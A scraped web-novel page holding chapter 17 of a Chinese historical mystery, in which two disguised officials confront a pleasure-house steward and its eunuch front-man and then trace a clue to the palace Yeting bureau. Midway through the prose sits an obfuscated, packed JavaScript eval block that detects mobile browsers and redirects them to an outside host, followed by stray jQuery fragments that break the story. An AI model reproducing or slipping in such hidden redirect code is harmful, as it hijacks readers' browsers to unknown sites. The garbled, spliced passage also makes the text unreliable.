默认冷灰
24号文字
方正启体

17. 第 17 章

作者:盐司本书字数:K更新时间:
    夫君指的是谁不言而喻。


    裴司午面色阴沉,将被陆令仪拽住的衣角扯下,转身回了桌旁坐下,拿起茶盏一饮而尽。


    方才的燥热难安也一瞬便消失了。


    与一逝者置气,着实不像自己的风格,裴司午如此想着,却又控制不住,脑海中总浮现起那张清秀俊逸的脸来。


    沈文修他是见过几面的。


    尚在边关时,裴司午便已得知二人结亲的消息,当时他不可置信地命人寻了沈文修的画像来,一番不算太友善的点评过后,又寻了他写的些文章。


    不过是些泛泛之谈罢了。——当时的他是如此评价的。


    后来回了京,在朝堂上见过几面,那人长得清秀文静,说话时不急不缓,确是个温润的性子。


    有何趣味?真是寡淡的很!


    脸也寡淡,文章也寡淡,说话的声音亦是如此,裴司午当时确不明白,为何文武百官乃至圣上都对他青眼有加,夸赞其才貌双全。


    较之自己,怕是还差得多!


    这边裴司午正想着这些,那边小琴一出门便遇上了堂头。


    堂头见小琴如此慌张,又衣衫不整,喝了几声便得知了来龙去脉,待小琴再回客房时,便是换了整洁的衣衫,又带着堂头一道,捧着刚煮好的解药前来谢罪了。


    裴司午不愿再让小琴靠近,便自己接过了解药,将依旧意识模糊的陆令仪半搀起身,用小勺一点点将汤药喂了,又将人放平躺下,这才斥问道:


    “你便是这里的堂头?你们掌柜的呢?”裴司午当真是气急了,好歹这是京城,天子脚下,偌大的一家店铺,竟能出现如此骇人听闻之事?


    堂头方才便知有两位客官出手阔绰、相貌亦是得体,谁成想竟出了如此岔子,得知消息的那一瞬间,他恨不得将小琴从这云华轩逐出去!


    堂头不愿得罪贵人,于是低声下气腆着一张脸道:“二位公子实在是抱歉,小琴年纪尚小,才来不久,还不懂规矩,也是见那位陆客官实在是容貌俊逸,这才起了歪心思。”


    顿了顿,堂头又试探问道:“小琴虽不懂事,但容貌在云华轩可是一等一的,自然,其他的姑娘们也各有各的风采,若是二位客官有心……”


    暗示意味很是明显,但裴司午显然不领情,或者说,看上去愈发愤愤然了:“你们掌柜的呢?我要见他。”


    裴司午忽然与床上那意识不清之人心照不宣起来。


    方才还以为这人不过一时起了兴,这才花钱如流水,又轻易被姑娘下了药。


    看来是过于信任自己。裴司午埋怨陆令仪警惕之心未免太弱的同时,对这莫名而来的信任又洋洋自得起来。


    若说她陆令仪身边有谁最可信任依赖,除了自己又有何人?


    堂头垂下的脑袋似是犹豫了半瞬,鬓角滑下的汗滚落至下颚——


    看这二位爷出手阔绰的样子,欺的了旁人却欺不了自己,能有令牌能来后头的人,不是天潢贵胄就是达官贵人,亦或是东家的熟人。


    即便是二人故意身着朴素,面上描有伪装,旁人不知晓,堂头却知是不可得罪的。


    问题是要见东家,这可难办了。


    “这位公子。”堂头向裴司午鞠了一礼,“东家今日不在,不如您看今日我做主,二位公子的花销都记东家的账上,如何?”


    “呵,真当吾等缺这点钱财?”裴司午没好气,将手中的茶盏重重一掷,堂头不禁抖了三抖,一旁的小琴更是哆嗦的连话都说不上来。


    裴司午不愧在边关沙场奋战过,身上那股子邪性在此时暴露无遗,叫人光是听他振振有词地拿着杯盏撒气,便令人闻风丧胆。


    堂头对裴司午深拘了一礼:“回公子,小人也做不了东家的主,不然还请公子在此稍后片刻,待我请示了东家。”


    裴司午犹疑一瞬便应了:“去吧。”


    这边陆令仪喝了解药便渐渐好转起来,见二人退下,便挣扎起身,将衣服整了整,坐至裴司午面前。


    “多谢裴小公爷了。”陆令仪真心道谢,“我也是一时不察,这才叫人下了药。”


    裴司午长眸凝视:“……被下药一事,不在你计划之中?”


    陆令仪一脸疑惑:“我为何要计划此番?”


    裴司午摇头轻笑,语气揶揄:“那便是我高估了陆兄。”


    陆令仪白他一眼,换了个话题道:“若是掌柜的真要见吾二人……”


    裴司午知晓陆令仪的担忧。


    云华轩的掌柜,定不是泛泛之辈,说不准还与二人熟识,骤然见面定是不妥,得想个法子自己隐在暗处,让那人亮在明处。


    “你在此等候。”裴司午想到了什么,只留下这一句话,便转身而出。


    几乎是在堂头回来的前脚,裴司午便带着两个面具回来了。


    陆令仪捧着那顶做工粗糙、画工稚嫩的纸质鬼怪面具,不由好奇道:“你在何处寻得的?”


    这看上去不像在店铺里售卖之物,附近也不见有卖这些小物的杂货店。


    “小巷内、稚子手中。”裴司午得意洋洋将手中的纸质面具一戴,陆令仪方才想起小巷之中确有几名稚子,带着自制的纸面具玩耍,不禁噗嗤一声笑了出来:


    “裴司午,多年未见,你竟与小儿抢玩物?”


    裴司午刚准备辩驳一番,便见房门被叩了三响,是堂头回来了。


    “二位公子,东家说可以与二位一见。”


    裴司午与陆令仪对视一眼,起身道:“这便来。”


    堂头带着两人穿过酒池肉林的奢靡众人,直直上了顶层。


    顶层并未有招待客人之所,只有一环形长廊与几扇闭紧的门窗,陆令仪走在后方,裴司午走在最前,堂头便在中间左右回头照看着,也不曾过问面具一事。


    “二位公子,这边请。”堂头停在了一扇门前,轻叩三下房门,得了里面人的允许后,这才推门进屋。


    裴司午停了两步,等陆令仪走上前来,二人并肩进了去。


    两只雕花红木桌椅后方,立着一扇丝绸屏风,上面绣着美人美景,又提了几句俗诗,是那种一看便价钱昂贵,却又令文人雅士足以评判“粗鄙不堪”的风格。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446080|185106||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>在这云华轩倒是应了景。


    待二人入座,屏风之后的人开口道:“二位公子,我便是云华轩的掌柜,今日之事我已从小琴之处了解,还望二位公子见谅,今日贵客所花开销,都记在我的账上便好。”


    陆令仪轻咳两声,裴司午了然,从纸面具发出的声音低沉又嘲讽:“吾等二人不缺这几两银子,只想看个诚意,可掌柜的用屏风遮面,这便是待客之道?”


    陆令仪二人是客,又洋洋洒洒挥霍了许多,再加之此事又是对方的错处,因此陆令仪与裴司午遮面无妨,而掌柜的若再要遮面,便是不想在此处做生意了。


    毕竟谁能知晓这两位出手阔绰的公子是何背景呢?


    双方空气凝结了半盏茶的时间,裴司午不急,只悠悠喝茶;陆令仪时不时咳几声以示提醒。只见屏风后来往几人耳语几番,这才换来一句:“将屏风撤了罢。”


    陆令仪来了精神,瘫坐的身子一下挺直了,巴巴地张望过去。


    一个身材平庸,长相亦是平庸之辈端坐在正中,他肤色白皙,面上细嫩无胡须。


    若是旁人可能还辨别不出来,但常在宫中待着的裴、陆二人一眼便瞧出,这人是阉人。


    宫中的阉人为何会在此?还当上了一方掌柜?


    陆令仪不是傻子,此人看似端坐,实则衣袍之下四肢微微颤抖,一看便是上不了台面之人。


    不过是个推出来的傀儡罢了。


    裴司午与陆令仪交换了个眼神,二人彼此心知肚明却又不好揭穿,只好接着演道:“掌柜的愿意露面致歉,便是给了吾等二人的面子,吾与陆兄便也不好再多刁难,今日便到此为止罢。”


    掌柜的也并未劝阻,派了人送了二人出去。


    裴司午的马车在巷口等候已久,看到两人出来,奉三便连忙迎了上去:“小公爷、陆女官,快上车罢。”


    马车一路驶向宫门,车上二人却陷入深思,久久未曾开口。


    过了足足半柱香的功夫,裴司午这才开口道:“又是宫中阉人又是太医院,此事并不简单。”


    陆令仪脑海中总有一条千丝万缕的联系,却始终想不起那条最关键的线索,使她心烦意乱,便道:“若说朝中宦官意图陷害沈家,许文兴常常出入云华轩撞见了些什么,何苦留至今日还未动手?反而是杀了那名为孔乐山的茶铺老板?”


    更重要的是,李泾在其中又起了什么作用?


    他若是与云华轩有联系,又何苦告知陆令仪线索、惹祸上身?


    若是账目为真,许文兴如此大大咧咧之人真的能为幕后陷害沈家之人做事?


    一切都诡异极了。


    陆令仪食指轻叩着窗,思绪万分。


    “宦官……”裴司午道,“说起宦官,我便想问你,上次在掖庭局遇见的掖庭令,叫什么来着?他与你可有私仇?为何……”


    “季萧。”陆令仪道,忽又蓦地想起什么一般回了神,双眼炯炯望着裴司午,“我想起在何处见过那铜云币了。”


    “何处?”裴司午倾身靠近。


    ——“掖庭局。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)